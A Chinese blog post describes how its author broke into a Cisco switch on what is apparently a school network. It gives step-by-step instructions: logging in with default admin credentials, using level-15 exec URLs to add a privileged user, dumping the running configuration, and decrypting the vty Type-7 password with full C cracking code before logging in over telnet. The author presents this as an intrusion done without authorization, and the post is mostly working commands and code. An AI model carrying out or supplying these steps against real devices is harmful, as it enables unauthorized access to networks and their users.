记一次突破cisco网段限制跨机房使用python批量入侵(1-修改版)

本来今天想直接写2的,结果cisco改了些限制。那么我只好再日一次了,顺便做个详细记录,发几个代码。红字是修改的地方。


1.开机之后,运行cmd,运行ipconfig后发现自己的IP是192.168.5.x,看到网关是192.168.5.1。

2.打开浏览器,url输入192.168.5.1,发现需要用户名和密码。服务器提示level 15 access。果断想到cisco交换机。输入默认账号密码admin:cisco后成功登陆。

3.由于不知道telnet连交换机的账号密码,不过目前web控制的权限是15,最高权限,加一个15权限用户即可。打开 http://192.168.5.1/level/15/exec/-/ ,执行show privilege查看权限。确认15以后打开 http://192.168.5.1/level/15/exec/-/configure/http 执行 username luo privilege 15 password 123456 添加一个用户名为 luo 密码为 123456 的权限15用户。

4.telnet 192.168.5.1,尝试用刚刚建立的用户登录,发现只能直接输入password。无奈之下回到web端查看配置。

    4.1 打开  http://192.168.5.1/level/15/exec/-/ 执行 show running-config ,在最后看到

        line vty 0 4

         password 7 033C69333F2F325554xxxx(四位数字,文字马赛克。)

         login

    密码为 Cisco Type-7,果断上代码逆向运算加密。

    4.2 C代码如下

#include <stdio.h>
#include <ctype.h>
#include <string.h>
 
char xlat[] = {
        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53, 
        0x55, 0x42 
};
 
 
int
cdecrypt(char *enc_pw, char *dec_pw)
{
        unsigned int seed, i, val = 0;
 
        if(strlen(enc_pw) & 1)
                return(-1);
 
        seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
 
        if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
                return(-1);
 
        for (i = 2 ; i <= strlen(enc_pw); i++) {
                if(i !=2 && !(i & 1)) {
                        dec_pw[i / 2 - 2] = val ^ xlat[seed++];
                        val = 0;
                }
 
                val *= 16;
 
                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                        val += enc_pw[i] - '0';
                        continue;
                }
 
                if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
                        val += enc_pw[i] - 'A' + 10;
                        continue;
                }
 
                if(strlen(enc_pw) != i)
                        return(-1);
        }
 
        dec_pw[++i / 2] = 0;
 
        return(0);
}
 
void
usage()
{
        fprintf(stdout, "Usage: ciscocrack <encrypted password>\n");
}
 
int
main(int argc, char *argv[])
{
    char passwd[65];
 
    memset(passwd, 0, sizeof(passwd));
 
    if(argc != 2)
    {
          usage();
          return(1);
    }
 
    if(cdecrypt(argv[1], passwd)) {
          fprintf(stderr, "Error\n");
          return(1);
    }
    printf("Passwd: %s\n", passwd);
 
    return 0;
}

    编译成exe,cmd下执行 "x.exe 033C69333F2F325554xxxx" 解出明文。

    4.3 重新telnet 192.168.5.1 ,输入刚才的明文密码,成功登陆。


本文由Hack Blog原创,如需转载注明原文链接

作者:test 分类:漏洞 浏览:1391 评论:2
留言列表
访客
访客 目测不是自己的文章。  回复
落
我辛辛苦苦在学校记录的过程。你目测个蛋。  回复
发表评论
来宾的头像